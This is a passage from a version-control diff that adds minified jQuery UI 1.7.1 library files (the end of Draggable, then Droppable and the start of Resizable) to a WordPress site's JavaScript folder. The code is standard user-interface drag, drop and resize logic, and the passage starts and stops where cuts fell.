b=this.offsetParent.offset();if(this.cssPosition=="absolute"&&this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0])){b.left+=this.scrollParent.scrollLeft();b.top+=this.scrollParent.scrollTop()}if((this.offsetParent[0]==document.body)||(this.offsetParent[0].tagName&&this.offsetParent[0].tagName.toLowerCase()=="html"&&a.browser.msie)){b={top:0,left:0}}return{top:b.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:b.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if(this.cssPosition=="relative"){var b=this.element.position();return{top:b.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:b.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}else{return{top:0,left:0}}},_cacheMargins:function(){this.margins={left:(parseInt(this.element.css("marginLeft"),10)||0),top:(parseInt(this.element.css("marginTop"),10)||0)}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var e=this.options;if(e.containment=="parent"){e.containment=this.helper[0].parentNode}if(e.containment=="document"||e.containment=="window"){this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,a(e.containment=="document"?document:window).width()-this.helperProportions.width-this.margins.left,(a(e.containment=="document"?document:window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]}if(!(/^(document|window|parent)$/).test(e.containment)&&e.containment.constructor!=Array){var c=a(e.containment)[0];if(!c){return}var d=a(e.containment).offset();var b=(a(c).css("overflow")!="hidden");this.containment=[d.left+(parseInt(a(c).css("borderLeftWidth"),10)||0)+(parseInt(a(c).css("paddingLeft"),10)||0)-this.margins.left,d.top+(parseInt(a(c).css("borderTopWidth"),10)||0)+(parseInt(a(c).css("paddingTop"),10)||0)-this.margins.top,d.left+(b?Math.max(c.scrollWidth,c.offsetWidth):c.offsetWidth)-(parseInt(a(c).css("borderLeftWidth"),10)||0)-(parseInt(a(c).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,d.top+(b?Math.max(c.scrollHeight,c.offsetHeight):c.offsetHeight)-(parseInt(a(c).css("borderTopWidth"),10)||0)-(parseInt(a(c).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top]}else{if(e.containment.constructor==Array){this.containment=e.containment}}},_convertPositionTo:function(f,h){if(!h){h=this.position}var c=f=="absolute"?1:-1;var e=this.options,b=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,g=(/(html|body)/i).test(b[0].tagName);return{top:(h.top+this.offset.relative.top*c+this.offset.parent.top*c-(a.browser.safari&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollTop():(g?0:b.scrollTop()))*c)),left:(h.left+this.offset.relative.left*c+this.offset.parent.left*c-(a.browser.safari&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollLeft():g?0:b.scrollLeft())*c))}},_generatePosition:function(e){var h=this.options,b=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,i=(/(html|body)/i).test(b[0].tagName);if(this.cssPosition=="relative"&&!(this.scrollParent[0]!=document&&this.scrollParent[0]!=this.offsetParent[0])){this.offset.relative=this._getRelativeOffset()}var d=e.pageX;var c=e.pageY;if(this.originalPosition){if(this.containment){if(e.pageX-this.offset.click.left<this.containment[0]){d=this.containment[0]+this.offset.click.left}if(e.pageY-this.offset.click.top<this.containment[1]){c=this.containment[1]+this.offset.click.top}if(e.pageX-this.offset.click.left>this.containment[2]){d=this.containment[2]+this.offset.click.left}if(e.pageY-this.offset.click.top>this.containment[3]){c=this.containment[3]+this.offset.click.top}}if(h.grid){var g=this.originalPageY+Math.round((c-this.originalPageY)/h.grid[1])*h.grid[1];c=this.containment?(!(g-this.offset.click.top<this.containment[1]||g-this.offset.click.top>this.containment[3])?g:(!(g-this.offset.click.top<this.containment[1])?g-h.grid[1]:g+h.grid[1])):g;var f=this.originalPageX+Math.round((d-this.originalPageX)/h.grid[0])*h.grid[0];d=this.containment?(!(f-this.offset.click.left<this.containment[0]||f-this.offset.click.left>this.containment[2])?f:(!(f-this.offset.click.left<this.containment[0])?f-h.grid[0]:f+h.grid[0])):f}}return{top:(c-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+(a.browser.safari&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollTop():(i?0:b.scrollTop())))),left:(d-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+(a.browser.safari&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollLeft():i?0:b.scrollLeft())))}},_clear:function(){this.helper.removeClass("ui-draggable-dragging");if(this.helper[0]!=this.element[0]&&!this.cancelHelperRemoval){this.helper.remove()}this.helper=null;this.cancelHelperRemoval=false},_trigger:function(b,c,d){d=d||this._uiHash();a.ui.plugin.call(this,b,[c,d]);if(b=="drag"){this.positionAbs=this._convertPositionTo("absolute")}return a.widget.prototype._trigger.call(this,b,c,d)},plugins:{},_uiHash:function(b){return{helper:this.helper,position:this.position,absolutePosition:this.positionAbs,offset:this.positionAbs}}}));a.extend(a.ui.draggable,{version:"1.7.1",eventPrefix:"drag",defaults:{addClasses:true,appendTo:"parent",axis:false,cancel:":input,option",connectToSortable:false,containment:false,cursor:"auto",cursorAt:false,delay:0,distance:1,grid:false,handle:false,helper:"original",iframeFix:false,opacity:false,refreshPositions:false,revert:false,revertDuration:500,scope:"default",scroll:true,scrollSensitivity:20,scrollSpeed:20,snap:false,snapMode:"both",snapTolerance:20,stack:false,zIndex:false}});a.ui.plugin.add("draggable","connectToSortable",{start:function(c,e){var d=a(this).data("draggable"),f=d.options,b=a.extend({},e,{item:d.element});d.sortables=[];a(f.connectToSortable).each(function(){var g=a.data(this,"sortable");if(g&&!g.options.disabled){d.sortables.push({instance:g,shouldRevert:g.options.revert});g._refreshItems();g._trigger("activate",c,b)}})},stop:function(c,e){var d=a(this).data("draggable"),b=a.extend({},e,{item:d.element});a.each(d.sortables,function(){if(this.instance.isOver){this.instance.isOver=0;d.cancelHelperRemoval=true;this.instance.cancelHelperRemoval=false;if(this.shouldRevert){this.instance.options.revert=true}this.instance._mouseStop(c);this.instance.options.helper=this.instance.options._helper;if(d.options.helper=="original"){this.instance.currentItem.css({top:"auto",left:"auto"})}}else{this.instance.cancelHelperRemoval=false;this.instance._trigger("deactivate",c,b)}})},drag:function(c,f){var e=a(this).data("draggable"),b=this;var d=function(i){var n=this.offset.click.top,m=this.offset.click.left;var g=this.positionAbs.top,k=this.positionAbs.left;var j=i.height,l=i.width;var p=i.top,h=i.left;return a.ui.isOver(g+n,k+m,p,h,j,l)};a.each(e.sortables,function(g){this.instance.positionAbs=e.positionAbs;this.instance.helperProportions=e.helperProportions;this.instance.offset.click=e.offset.click;if(this.instance._intersectsWith(this.instance.containerCache)){if(!this.instance.isOver){this.instance.isOver=1;this.instance.currentItem=a(b).clone().appendTo(this.instance.element).data("sortable-item",true);this.instance.options._helper=this.instance.options.helper;this.instance.options.helper=function(){return f.helper[0]};c.target=this.instance.currentItem[0];this.instance._mouseCapture(c,true);this.instance._mouseStart(c,true,true);this.instance.offset.click.top=e.offset.click.top;this.instance.offset.click.left=e.offset.click.left;this.instance.offset.parent.left-=e.offset.parent.left-this.instance.offset.parent.left;this.instance.offset.parent.top-=e.offset.parent.top-this.instance.offset.parent.top;e._trigger("toSortable",c);e.dropped=this.instance.element;e.currentItem=e.element;this.instance.fromOutside=e}if(this.instance.currentItem){this.instance._mouseDrag(c)}}else{if(this.instance.isOver){this.instance.isOver=0;this.instance.cancelHelperRemoval=true;this.instance.options.revert=false;this.instance._trigger("out",c,this.instance._uiHash(this.instance));this.instance._mouseStop(c,true);this.instance.options.helper=this.instance.options._helper;this.instance.currentItem.remove();if(this.instance.placeholder){this.instance.placeholder.remove()}e._trigger("fromSortable",c);e.dropped=false}}})}});a.ui.plugin.add("draggable","cursor",{start:function(c,d){var b=a("body"),e=a(this).data("draggable").options;if(b.css("cursor")){e._cursor=b.css("cursor")}b.css("cursor",e.cursor)},stop:function(b,c){var d=a(this).data("draggable").options;if(d._cursor){a("body").css("cursor",d._cursor)}}});a.ui.plugin.add("draggable","iframeFix",{start:function(b,c){var d=a(this).data("draggable").options;a(d.iframeFix===true?"iframe":d.iframeFix).each(function(){a('<div class="ui-draggable-iframeFix" style="background: #fff;"></div>').css({width:this.offsetWidth+"px",height:this.offsetHeight+"px",position:"absolute",opacity:"0.001",zIndex:1000}).css(a(this).offset()).appendTo("body")})},stop:function(b,c){a("div.ui-draggable-iframeFix").each(function(){this.parentNode.removeChild(this)})}});a.ui.plugin.add("draggable","opacity",{start:function(c,d){var b=a(d.helper),e=a(this).data("draggable").options;if(b.css("opacity")){e._opacity=b.css("opacity")}b.css("opacity",e.opacity)},stop:function(b,c){var d=a(this).data("draggable").options;if(d._opacity){a(c.helper).css("opacity",d._opacity)}}});a.ui.plugin.add("draggable","scroll",{start:function(c,d){var b=a(this).data("draggable");if(b.scrollParent[0]!=document&&b.scrollParent[0].tagName!="HTML"){b.overflowOffset=b.scrollParent.offset()}},drag:function(d,e){var c=a(this).data("draggable"),f=c.options,b=false;if(c.scrollParent[0]!=document&&c.scrollParent[0].tagName!="HTML"){if(!f.axis||f.axis!="x"){if((c.overflowOffset.top+c.scrollParent[0].offsetHeight)-d.pageY<f.scrollSensitivity){c.scrollParent[0].scrollTop=b=c.scrollParent[0].scrollTop+f.scrollSpeed}else{if(d.pageY-c.overflowOffset.top<f.scrollSensitivity){c.scrollParent[0].scrollTop=b=c.scrollParent[0].scrollTop-f.scrollSpeed}}}if(!f.axis||f.axis!="y"){if((c.overflowOffset.left+c.scrollParent[0].offsetWidth)-d.pageX<f.scrollSensitivity){c.scrollParent[0].scrollLeft=b=c.scrollParent[0].scrollLeft+f.scrollSpeed}else{if(d.pageX-c.overflowOffset.left<f.scrollSensitivity){c.scrollParent[0].scrollLeft=b=c.scrollParent[0].scrollLeft-f.scrollSpeed}}}}else{if(!f.axis||f.axis!="x"){if(d.pageY-a(document).scrollTop()<f.scrollSensitivity){b=a(document).scrollTop(a(document).scrollTop()-f.scrollSpeed)}else{if(a(window).height()-(d.pageY-a(document).scrollTop())<f.scrollSensitivity){b=a(document).scrollTop(a(document).scrollTop()+f.scrollSpeed)}}}if(!f.axis||f.axis!="y"){if(d.pageX-a(document).scrollLeft()<f.scrollSensitivity){b=a(document).scrollLeft(a(document).scrollLeft()-f.scrollSpeed)}else{if(a(window).width()-(d.pageX-a(document).scrollLeft())<f.scrollSensitivity){b=a(document).scrollLeft(a(document).scrollLeft()+f.scrollSpeed)}}}}if(b!==false&&a.ui.ddmanager&&!f.dropBehaviour){a.ui.ddmanager.prepareOffsets(c,d)}}});a.ui.plugin.add("draggable","snap",{start:function(c,d){var b=a(this).data("draggable"),e=b.options;b.snapElements=[];a(e.snap.constructor!=String?(e.snap.items||":data(draggable)"):e.snap).each(function(){var g=a(this);var f=g.offset();if(this!=b.element[0]){b.snapElements.push({item:this,width:g.outerWidth(),height:g.outerHeight(),top:f.top,left:f.left})}})},drag:function(u,p){var g=a(this).data("draggable"),q=g.options;var y=q.snapTolerance;var x=p.offset.left,w=x+g.helperProportions.width,f=p.offset.top,e=f+g.helperProportions.height;for(var v=g.snapElements.length-1;v>=0;v--){var s=g.snapElements[v].left,n=s+g.snapElements[v].width,m=g.snapElements[v].top,A=m+g.snapElements[v].height;if(!((s-y<x&&x<n+y&&m-y<f&&f<A+y)||(s-y<x&&x<n+y&&m-y<e&&e<A+y)||(s-y<w&&w<n+y&&m-y<f&&f<A+y)||(s-y<w&&w<n+y&&m-y<e&&e<A+y))){if(g.snapElements[v].snapping){(g.options.snap.release&&g.options.snap.release.call(g.element,u,a.extend(g._uiHash(),{snapItem:g.snapElements[v].item})))}g.snapElements[v].snapping=false;continue}if(q.snapMode!="inner"){var c=Math.abs(m-e)<=y;var z=Math.abs(A-f)<=y;var j=Math.abs(s-w)<=y;var k=Math.abs(n-x)<=y;if(c){p.position.top=g._convertPositionTo("relative",{top:m-g.helperProportions.height,left:0}).top-g.margins.top}if(z){p.position.top=g._convertPositionTo("relative",{top:A,left:0}).top-g.margins.top}if(j){p.position.left=g._convertPositionTo("relative",{top:0,left:s-g.helperProportions.width}).left-g.margins.left}if(k){p.position.left=g._convertPositionTo("relative",{top:0,left:n}).left-g.margins.left}}var h=(c||z||j||k);if(q.snapMode!="outer"){var c=Math.abs(m-f)<=y;var z=Math.abs(A-e)<=y;var j=Math.abs(s-x)<=y;var k=Math.abs(n-w)<=y;if(c){p.position.top=g._convertPositionTo("relative",{top:m,left:0}).top-g.margins.top}if(z){p.position.top=g._convertPositionTo("relative",{top:A-g.helperProportions.height,left:0}).top-g.margins.top}if(j){p.position.left=g._convertPositionTo("relative",{top:0,left:s}).left-g.margins.left}if(k){p.position.left=g._convertPositionTo("relative",{top:0,left:n-g.helperProportions.width}).left-g.margins.left}}if(!g.snapElements[v].snapping&&(c||z||j||k||h)){(g.options.snap.snap&&g.options.snap.snap.call(g.element,u,a.extend(g._uiHash(),{snapItem:g.snapElements[v].item})))}g.snapElements[v].snapping=(c||z||j||k||h)}}});a.ui.plugin.add("draggable","stack",{start:function(b,c){var e=a(this).data("draggable").options;var d=a.makeArray(a(e.stack.group)).sort(function(g,f){return(parseInt(a(g).css("zIndex"),10)||e.stack.min)-(parseInt(a(f).css("zIndex"),10)||e.stack.min)});a(d).each(function(f){this.style.zIndex=e.stack.min+f});this[0].style.zIndex=e.stack.min+d.length}});a.ui.plugin.add("draggable","zIndex",{start:function(c,d){var b=a(d.helper),e=a(this).data("draggable").options;if(b.css("zIndex")){e._zIndex=b.css("zIndex")}b.css("zIndex",e.zIndex)},stop:function(b,c){var d=a(this).data("draggable").options;if(d._zIndex){a(c.helper).css("zIndex",d._zIndex)}}})})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.droppable.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.droppable.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.droppable.js	(revision 44)
@@ -0,0 +1,14 @@
+/*
+ * jQuery UI Droppable 1.7.1
+ *
+ * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
+ * Dual licensed under the MIT (MIT-LICENSE.txt)
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *
+ * http://docs.jquery.com/UI/Droppables
+ *
+ * Depends:
+ *	ui.core.js
+ *	ui.draggable.js
+ */
+(function(a){a.widget("ui.droppable",{_init:function(){var c=this.options,b=c.accept;this.isover=0;this.isout=1;this.options.accept=this.options.accept&&a.isFunction(this.options.accept)?this.options.accept:function(e){return e.is(b)};this.proportions={width:this.element[0].offsetWidth,height:this.element[0].offsetHeight};a.ui.ddmanager.droppables[this.options.scope]=a.ui.ddmanager.droppables[this.options.scope]||[];a.ui.ddmanager.droppables[this.options.scope].push(this);(this.options.addClasses&&this.element.addClass("ui-droppable"))},destroy:function(){var b=a.ui.ddmanager.droppables[this.options.scope];for(var c=0;c<b.length;c++){if(b[c]==this){b.splice(c,1)}}this.element.removeClass("ui-droppable ui-droppable-disabled").removeData("droppable").unbind(".droppable")},_setData:function(b,c){if(b=="accept"){this.options.accept=c&&a.isFunction(c)?c:function(e){return e.is(c)}}else{a.widget.prototype._setData.apply(this,arguments)}},_activate:function(c){var b=a.ui.ddmanager.current;if(this.options.activeClass){this.element.addClass(this.options.activeClass)}(b&&this._trigger("activate",c,this.ui(b)))},_deactivate:function(c){var b=a.ui.ddmanager.current;if(this.options.activeClass){this.element.removeClass(this.options.activeClass)}(b&&this._trigger("deactivate",c,this.ui(b)))},_over:function(c){var b=a.ui.ddmanager.current;if(!b||(b.currentItem||b.element)[0]==this.element[0]){return}if(this.options.accept.call(this.element[0],(b.currentItem||b.element))){if(this.options.hoverClass){this.element.addClass(this.options.hoverClass)}this._trigger("over",c,this.ui(b))}},_out:function(c){var b=a.ui.ddmanager.current;if(!b||(b.currentItem||b.element)[0]==this.element[0]){return}if(this.options.accept.call(this.element[0],(b.currentItem||b.element))){if(this.options.hoverClass){this.element.removeClass(this.options.hoverClass)}this._trigger("out",c,this.ui(b))}},_drop:function(c,d){var b=d||a.ui.ddmanager.current;if(!b||(b.currentItem||b.element)[0]==this.element[0]){return false}var e=false;this.element.find(":data(droppable)").not(".ui-draggable-dragging").each(function(){var f=a.data(this,"droppable");if(f.options.greedy&&a.ui.intersect(b,a.extend(f,{offset:f.element.offset()}),f.options.tolerance)){e=true;return false}});if(e){return false}if(this.options.accept.call(this.element[0],(b.currentItem||b.element))){if(this.options.activeClass){this.element.removeClass(this.options.activeClass)}if(this.options.hoverClass){this.element.removeClass(this.options.hoverClass)}this._trigger("drop",c,this.ui(b));return this.element}return false},ui:function(b){return{draggable:(b.currentItem||b.element),helper:b.helper,position:b.position,absolutePosition:b.positionAbs,offset:b.positionAbs}}});a.extend(a.ui.droppable,{version:"1.7.1",eventPrefix:"drop",defaults:{accept:"*",activeClass:false,addClasses:true,greedy:false,hoverClass:false,scope:"default",tolerance:"intersect"}});a.ui.intersect=function(q,j,o){if(!j.offset){return false}var e=(q.positionAbs||q.position.absolute).left,d=e+q.helperProportions.width,n=(q.positionAbs||q.position.absolute).top,m=n+q.helperProportions.height;var g=j.offset.left,c=g+j.proportions.width,p=j.offset.top,k=p+j.proportions.height;switch(o){case"fit":return(g<e&&d<c&&p<n&&m<k);break;case"intersect":return(g<e+(q.helperProportions.width/2)&&d-(q.helperProportions.width/2)<c&&p<n+(q.helperProportions.height/2)&&m-(q.helperProportions.height/2)<k);break;case"pointer":var h=((q.positionAbs||q.position.absolute).left+(q.clickOffset||q.offset.click).left),i=((q.positionAbs||q.position.absolute).top+(q.clickOffset||q.offset.click).top),f=a.ui.isOver(i,h,p,g,j.proportions.height,j.proportions.width);return f;break;case"touch":return((n>=p&&n<=k)||(m>=p&&m<=k)||(n<p&&m>k))&&((e>=g&&e<=c)||(d>=g&&d<=c)||(e<g&&d>c));break;default:return false;break}};a.ui.ddmanager={current:null,droppables:{"default":[]},prepareOffsets:function(e,g){var b=a.ui.ddmanager.droppables[e.options.scope];var f=g?g.type:null;var h=(e.currentItem||e.element).find(":data(droppable)").andSelf();droppablesLoop:for(var d=0;d<b.length;d++){if(b[d].options.disabled||(e&&!b[d].options.accept.call(b[d].element[0],(e.currentItem||e.element)))){continue}for(var c=0;c<h.length;c++){if(h[c]==b[d].element[0]){b[d].proportions.height=0;continue droppablesLoop}}b[d].visible=b[d].element.css("display")!="none";if(!b[d].visible){continue}b[d].offset=b[d].element.offset();b[d].proportions={width:b[d].element[0].offsetWidth,height:b[d].element[0].offsetHeight};if(f=="mousedown"){b[d]._activate.call(b[d],g)}}},drop:function(b,c){var d=false;a.each(a.ui.ddmanager.droppables[b.options.scope],function(){if(!this.options){return}if(!this.options.disabled&&this.visible&&a.ui.intersect(b,this,this.options.tolerance)){d=this._drop.call(this,c)}if(!this.options.disabled&&this.visible&&this.options.accept.call(this.element[0],(b.currentItem||b.element))){this.isout=1;this.isover=0;this._deactivate.call(this,c)}});return d},drag:function(b,c){if(b.options.refreshPositions){a.ui.ddmanager.prepareOffsets(b,c)}a.each(a.ui.ddmanager.droppables[b.options.scope],function(){if(this.options.disabled||this.greedyChild||!this.visible){return}var e=a.ui.intersect(b,this,this.options.tolerance);var g=!e&&this.isover==1?"isout":(e&&this.isover==0?"isover":null);if(!g){return}var f;if(this.options.greedy){var d=this.element.parents(":data(droppable):eq(0)");if(d.length){f=a.data(d[0],"droppable");f.greedyChild=(g=="isover"?1:0)}}if(f&&g=="isover"){f.isover=0;f.isout=1;f._out.call(f,c)}this[g]=1;this[g=="isout"?"isover":"isout"]=0;this[g=="isover"?"_over":"_out"].call(this,c);if(f&&g=="isout"){f.isout=0;f.isover=1;f._over.call(f,c)}})}}})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.resizable.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.resizable.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.resizable.js	(revision 44)
@@ -0,0 +1,13 @@
+/*
+ * jQuery UI Resizable 1.7.1
+ *
+ * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
+ * Dual licensed under the MIT (MIT-LICENSE.txt)
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *
+ * http://docs.jquery.com/UI/Resizables
+ *
+ * Depends:
+ *	ui.core.js
+ */
+(function(c){c.widget("ui.resizable",c.extend({},c.ui.mouse,{_init:function(){var e=this,j=this.options;this.element.addClass("ui-resizable");c.extend(this,{_aspectRatio:!!(j.aspectRatio),aspectRatio:j.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:j.helper||j.ghost||j.animate?j.helper||"ui-resizable-helper":null});if(this.element[0].nodeName.match(/canvas|textarea|input|select|button|img/i)){if(/relative/.test(this.element.css("position"))&&c.browser.opera){this.element.css({position:"relative",top:"auto",left:"auto"})}this.element.wrap(c('<div class="ui-wrapper" style="overflow: hidden;"></div>').css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")}));this.element=this.element.parent().data("resizable",this.element.data("resizable"));this.elementIsWrapper=true;this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")});this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0});this.originalResizeStyle=this.originalElement.css("resize");this.originalElement.css("resize","none");this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"}));this.originalElement.css({margin:this.originalElement.css("margin")});this._proportionallyResize()}this.handles=j.handles||(!c(".ui-resizable-handle",this.element).length?"e,s,se":{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"});if(this.handles.constructor==String){if(this.handles=="all"){this.handles="n,e,s,w,se,sw,ne,nw"}var k=this.handles.split(",");this.handles={};for(var f=0;f<k.length;f++){var h=c.trim(k[f]),d="ui-resizable-"+h;var g=c('<div class="ui-resizable-handle '+d+'"></div>');if(/sw|se|ne|nw/.test(h)){g.css({zIndex:++j.zIndex})}if("se"==h){g.addClass("ui-icon ui-icon-gripsmall-diagonal-se")}this.handles[h]=".ui-resizable-"+h;this.element.append(g)}}this._renderAxis=function(p){p=p||this.element;for(var m in this.handles){if(this.handles[m].constructor==String){this.handles[m]=c(this.handles[m],this.element).show()}if(this.elementIsWrapper&&this.originalElement[0].nodeName.match(/textarea|input|select|button/i)){var n=c(this.handles[m],this.element),o=0;o=/sw|ne|nw|se|n|s/.test(m)?n.outerHeight():n.outerWidth();var l=["padding",/ne|nw|n/.test(m)?"Top":/se|sw|s/.test(m)?"Bottom":/^e$/.test(m)?"Right":"Left"].join("");p.css(l,o);this._proportionallyResize()}if(!c(this.handles[m]).length){continue}}};this._renderAxis(this.element);this._handles=c(".ui-resizable-handle",this.element).disableSelection();this._handles.mouseover(function(){if(!e.resizing){if(this.className){var i=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)}e.axis=i&&i[1]?i[1]:"se"}});if(j.autoHide){this._handles.hide();c(this.element).addClass("ui-resizable-autohide").hover(function(){c(this).removeClass("ui-resizable-autohide");e._handles.show()},function(){if(!e.resizing){c(this).addClass("ui-resizable-autohide");e._handles.hide()}})}this._mouseInit()},destroy:function(){this._mouseDestroy();var d=function(f){c(f).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").unbind(".resizable").find(".ui-resizable-handle").remove()};if(this.elementIsWrapper){d(this.element);var e=this.element;e.parent().append(this.originalElement.css({position:e.css("position"),width:e.outerWidth(),height:e.outerHeight(),top:e.css("top"),left:e.css("left")})).end().remove()}this.originalElement.css("resize",this.originalResizeStyle);d(this.originalElement)},_mouseCapture:function(e){var f=false;for(var d in this.handles){if(c(this.handles[d])[0]==e.target){f=true}}return this.options.disabled||!!f},_mouseStart:function(f){var i=this.options,e=this.element.position(),d=this.element;this.resizing=true;this.documentScroll={top:c(document).scrollTop(),left:c(document).scrollLeft()};if(d.is(".ui-draggable")||(/absolute/).test(d.css("position"))){d.css({position:"absolute",top:e.top,left:e.left})}if(c.browser.opera&&(/relative/).test(d.css("position"))){d.css({position:"relative",top:"auto",left:"auto"})}this._renderProxy();var j=b(this.helper.css("left")),g=b(this.helper.css("top"));if(i.containment){j+=c(i.containment).scrollLeft()||0;g+=c(i.containment).scrollTop()||0}this.offset=this.helper.offset();this.position={left:j,top:g};this.size=this._helper?{width:d.outerWidth(),height:d.outerHeight()}:{width:d.width(),height:d.height()};this.originalSize=this._helper?{width:d.outerWidth(),height:d.outerHeight()}:{width:d.width(),height:d.height()};this.originalPosition={left:j,top:g};this.sizeDiff={width:d.outerWidth()-d.width(),height:d.outerHeight()-d.height()};this.originalMousePosition={left:f.pageX,top:f.pageY};this.aspectRatio=(typeof i.aspectRatio=="number")?i.aspectRatio:((this.originalSize.width/this.originalSize.height)||1);var h=c(".ui-resizable-"+this.axis).css("cursor");c("body").css("cursor",h=="auto"?this.axis+"-resize":h);d.addClass("ui-resizable-resizing");this._propagate("start",f);return true},_mouseDrag:function(d){var g=this.helper,f=this.options,l={},p=this,i=this.originalMousePosition,m=this.axis;var q=(d.pageX-i.left)||0,n=(d.pageY-i.top)||0;var h=this._change[m];if(!h){return false}var k=h.apply(this,[d,q,n]),j=c.browser.msie&&c.browser.version<7,e=this.sizeDiff;if(this._aspectRatio||d.shiftKey){k=this._updateRatio(k,d)}k=this._respectSize(k,d);this._propagate("resize",d);g.css({top:this.position.top+"px",left:this.position.left+"px",width:this.size.width+"px",height:this.size.height+"px"});if(!this._helper&&this._proportionallyResizeElements.length){this._proportionallyResize()}this._updateCache(k);this._trigger("resize",d,this.ui());return false},_mouseStop:function(g){this.resizing=false;var h=this.options,l=this;if(this._helper){var f=this._proportionallyResizeElements,d=f.length&&(/textarea/i).test(f[0].nodeName),e=d&&c.ui.hasScroll(f[0],"left")?0:l.sizeDiff.height,j=d?0:l.sizeDiff.width;var m={width:(l.size.width-j),height:(l.size.height-e)},i=(parseInt(l.element.css("left"),10)+(l.position.left-l.originalPosition.left))||null,k=(parseInt(l.element.css("top"),10)+(l.position.top-l.originalPosition.top))||null;if(!h.animate){this.element.css(c.extend(m,{top:k,left:i}))}l.helper.height(l.size.height);l.helper.width(l.size.width);if(this._helper&&!h.animate){this._proportionallyResize()}}c("body").css("cursor","auto");this.element.removeClass("ui-resizable-resizing");this._propagate("stop",g);if(this._helper){this.helper.remove()}return false},_updateCache:function(d){var e=this.options;this.offset=this.helper.offset();if(a(d.left)){this.position.left=d.left}if(a(d.top)){this.position.top=d.top}if(a(d.height)){this.size.height=d.height}if(a(d.width)){this.size.width=d.width}},_updateRatio:function(g,f){var h=this.options,i=this.position,e=this.size,d=this.axis;if(g.height){g.width=(e.height*this.aspectRatio)}else{if(g.width){g.height=(e.width/this.aspectRatio)}}if(d=="sw"){g.left=i.left+(e.width-g.width);g.top=null}if(d=="nw"){g.top=i.top+(e.height-g.height);g.left=i.left+(e.width-g.width)}return g},_respectSize:function(k,f){var i=this.helper,h=this.options,q=this._aspectRatio||f.shiftKey,p=this.axis,s=a(k.width)&&h.maxWidth&&(h.maxWidth<k.width),l=a(k.height)&&h.maxHeight&&(h.maxHeight<k.height),g=a(k.width)&&h.minWidth&&(h.minWidth>k.width),r=a(k.height)&&h.minHeight&&(h.minHeight>k.height);if(g){k.width=h.minWidth}if(r){k.height=h.minHeight}if(s){k.width=h.maxWidth}if(l){k.height=h.maxHeight}var e=this.originalPosition.left+this.originalSize.width,n=this.position.top+this.size.height;var j=/sw|nw|w/.test(p),d=/nw|ne|n/.test(p);if(g&&j){k.left=e-h.minWidth}if(s&&j){k.left=e-h.maxWidth}if(r&&d){k.top=n-h.minHeight}if(l&&d){k.top=n-h.maxHeight}var m=!k.width&&!k.height;if(m&&!k.left&&k.top){k.top=null}else{if(m&&!k.top&&k.left){k.left=null}}return k},_proportionallyResize:function(){var j=this.options;if(!this._proportionallyResizeElements.length){return}var f=this.helper||this.element;for(var e=0;e<this._proportionallyResizeElements.length;e++){var g=this._proportionallyResizeElements[e];if(!this.borderDif){var d=[g.css("borderTopWidth"),g.css("borderRightWidth"),g.css("borderBottomWidth"),g.css("borderLeftWidth")],h=[g.css("paddingTop"),g.css("paddingRight"),g.css("paddingBottom"),g.css("paddingLeft")];this.borderDif=c.map(d,function(k,m){var l=parseInt(k,10)||0,n=parseInt(h[m],10)||0;return l+n})}if(c.browser.msie&&!(!(c(f).is(":hidden")||c(f).parents(":hidden").length))){continue}g.css({height:(f.height()-this.borderDif[0]-this.borderDif[2])||0,width:(f.width()-this.borderDif[1]-this.borderDif[3])||0})}},_renderProxy:function(){var e=this.element,h=this.options;this.elementOffset=e.offset();if(this._helper){this.helper=this.helper||c('<div style="overflow:hidden;"></div>');var 